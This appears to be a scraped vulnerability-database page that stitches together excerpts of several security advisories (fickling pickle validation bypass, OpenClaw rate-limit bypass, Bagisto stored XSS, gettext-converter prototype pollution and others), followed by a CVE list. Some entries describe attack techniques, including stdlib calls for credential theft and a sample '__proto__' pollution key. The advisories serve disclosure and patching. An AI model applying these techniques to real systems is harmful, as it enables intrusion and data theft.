Who is impacted: Any application or service that calls fickling.load() or fickling.loads() to validate untrusted pickle data before deserializing it. This is the primary documented use case of the fickling.loader module. The attacker supplies a pickle file; the server processes it through fickling.load(), receives LIKELY_SAFE, and unpickles the payload. File contents are returned directly in the deserialized object's attributes.

Beyond file read, the same BUILD-opcode technique can be applied to any stdlib module absent from UNSAFE_IMPORTS (e.g., gc.get_objects() for full in-process memory inspection, inspect.stack() for call-frame local variable exfiltration, netrc.netrc() for credential theft).

## Vulnerability

The hook authentication throttle keyed failed attempts by raw socket `remoteAddress` text.

IPv4 and IPv4-mapped IPv6 forms of the same client (for example `1.2.3.4` and `::ffff:1.2.3.4`) were treated as different clients, allowing separate rate-limit buckets.

## Impact

An attacker could split failed hook-auth attempts across both address forms and effectively double the brute-force budget from 20 to 40 attempts per 60-second window.

## Affected Components

- `src/gateway/server-http.ts`
- `src/gateway/auth-rate-limit.ts`

## Affected Packages / Versions

- Package: `openclaw` (npm)
- Vulnerable versions: `<= 2026.2.21-2`
- Patched version (planned next release): `2026.2.22`

## Remediation

Centralize and reuse canonical client-IP normalization for auth rate-limiting, and use that canonical key for hook auth throttling.

## Fix Commit(s)

- `3284d2eb227e7b6536d543bcf5c3e320bc9d13c5`

## Release Process Note

`patched_versions` is pre-set to the planned next release (`2026.2.22`) so once npm release `2026.2.22` is published, this advisory can be published directly.

OpenClaw thanks @aether-ai-agent for reporting.

A weakness has been identified in Free5GC 4.1.0. Affected is the function HandleRegistrationComplete of the file internal/gmm/handler.go of the component AMF. Executing a manipulation can lead to denial of service. The attack may be performed from remote. This patch is called 52e9386401ce56ea773c5aa587d4cdf7d53da799. It is best practice to apply a patch to resolve this issue.

A path traversal and arbitrary file write vulnerability exist in the embedded get function in '_main_.py' in PyMuPDF version, 1.26.5.

### Summary
In Bagisto v2.3.7, the TinyMCE image upload functionality allows an attacker with sufficient privileges (e.g. admin) to upload a crafted HTML file containing embedded JavaScript. When viewed, the malicious code executes in the context of the admin/user’s browser.

### Details
The application blocks the uploading of HTML files; however, if the backend detected that the content of the .png file is HTML or JavaScript, the file extension will be automatically converted from .png to .html. When the HTML is viewed, it will execute the JavaScript code.

### PoC
Created a html file, renamed the extension to .png, and uploaded the file. It was converted to HTML file in the backend. When opened in another tab, the JavaScript code will execute.
<img width="1605" height="702" alt="image" src="https://github.com/user-attachments/assets/bd9406aa-2380-464f-ac21-32d483639969" />
<img width="1358" height="314" alt="image" src="https://github.com/user-attachments/assets/e5a64a5a-39fb-4fdb-ada9-14c4b9554803" />

### Impact
A aalicious script is stored in HTML file and executed when the content is viewed. An attacker (with upload privilege) can target other admin users or editors who view the content, enabling session hijacking, unauthorized actions, or privilege escalation.

### Impact

`js2i18next()` is vulnerable to prototype pollution. When converting translations, it splits nested keys on the key separator (default `##`) and uses each segment as a dynamic object key while building the output object. A key whose segment is `__proto__` (e.g. `__proto__##gcPolluted`) causes the converter to resolve `Object.prototype` as the nested write target and assign the translated value onto it, polluting `Object.prototype` for the whole runtime.

Any application that converts translation data (PO / i18next JS objects) originating from an untrusted or user-controlled source is affected. Prototype pollution can lead to denial of service and, depending on the surrounding application, may enable further attacks.

### Patches

Fixed in `gettext-converter@1.3.3`. Key segments equal to `__proto__`, `constructor`, or `prototype` are now rejected before being used as dynamic object keys.

### Workarounds

Upgrade to `1.3.3`. If upgrading is not immediately possible, sanitize/validate translation keys before passing them to `js2i18next()` and reject any key whose `##`-separated segments include `__proto__`, `constructor`, or `prototype`.

The patch for GHSA-7h7q-j33q-hvpf was incomplete and still allows a stack buffer overflow for the multi frame images.

Xerte Online Toolkits versions 3.15 and earlier contain an information disclosure vulnerability that allows unauthenticated attackers to retrieve the full server-side filesystem path of the application root. Attackers can send a GET request to the /setup page to access the exposed root_path value rendered in the HTML response, which enables exploitation of path-dependent vulnerabilities such as relative path traversal in connector.php.

A vulnerability was identified in osrg GoBGP up to 4.3.0. Affected by this issue is the function BMPPeerUpNotification.ParseBody/BMPStatisticsReport.ParseBody of the file pkg/packet/bmp/bmp.go of the component BMP Parser. The manipulation leads to out-of-bounds read. The attack can be initiated remotely. Upgrading to version 4.4.0 can resolve this issue. The identifier of the patch is bc77597d42335c78464bc8e15a471d887bbdf260. Upgrading the affected component is recommended.

CVE ID↕	Published↕	CVSS↑
ALPINE-CVE-2026-56132	Jun 19, 2026	Medium 6.9
GHSA-9j3m-fr7q-jxfw	Dec 12, 2024	Medium 6.9
CVE-2026-40895	Apr 21, 2026	Medium 6.9
CVE-2024-52314	Nov 9, 2024	Medium 6.9
GHSA-6hf3-mhgc-cm65	Feb 18, 2026	Medium 6.9
CVE-2025-32029	Apr 7, 2025	Medium 6.9
CVE-2025-62612	Oct 22, 2025	Medium 6.9
GHSA-432c-wxpg-m4q3	Feb 7, 2025	Medium 6.9
CVE-2025-55090	Oct 16, 2025	Medium 6.9
PYSEC-2026-1320	Jul 7, 2026	Medium 6.9
CVE-2026-53935	Jul 7, 2026	Medium 6.9
CVE-2026-44378	May 27, 2026	Medium 6.9
CVE-2024-12843	Dec 20, 2024	Medium 6.9
GHSA-2xcp-x87w-q377	Apr 25, 2026	Medium 6.9
GHSA-fmwf-c46w-r8qm	Mar 8, 2025	Medium 6.9
GHSA-p423-j2cm-9vmq	Apr 8, 2026	Medium 6.9
CVE-2026-39351	Apr 7, 2026	Medium 6.9
GHSA-g6v3-7xmc-w563	Jul 28, 2026	Medium 6.9
CVE-2023-35947	Jun 30, 2023	Medium 6.9
CVE-2026-33425	Mar 20, 2026	Medium 6.9
CVE-2025-5499	Jun 3, 2025	Medium 6.9
CVE-2025-68925	Jan 13, 2026	Medium 6.9
GHSA-r48f-3986-4f9c	Mar 13, 2026	Medium 6.9
GHSA-5847-rm3g-23mw	Mar 3, 2026	Medium 6.9
CVE-2026-4531	Mar 22, 2026	Medium 6.9
GHSA-cxqh-p2w9-fmr7	Mar 19, 2026	Medium 6.9
GHSA-67px-r26w-598x	Oct 16, 2025	Medium 6.9
GHSA-f4jp-rw7w-ccwg	Aug 20, 2026	Medium 6.9
GHSA-98cp-rj9f-6v5g	Apr 14, 2026	Medium 6.9
CVE-2026-41459	Apr 22, 2026	Medium 6.9
CVE-2026-7737	May 4, 2026	Medium 6.9

Know every vulnerability
before it knows you.

Medium CVE Vulnerabilities (CVSS 4–6.9) — DevGuard

Know every vulnerabilitybefore it knows you.

Medium CVE Vulnerabilities (CVSS 4–6.9) — DevGuard

Know every vulnerability
before it knows you.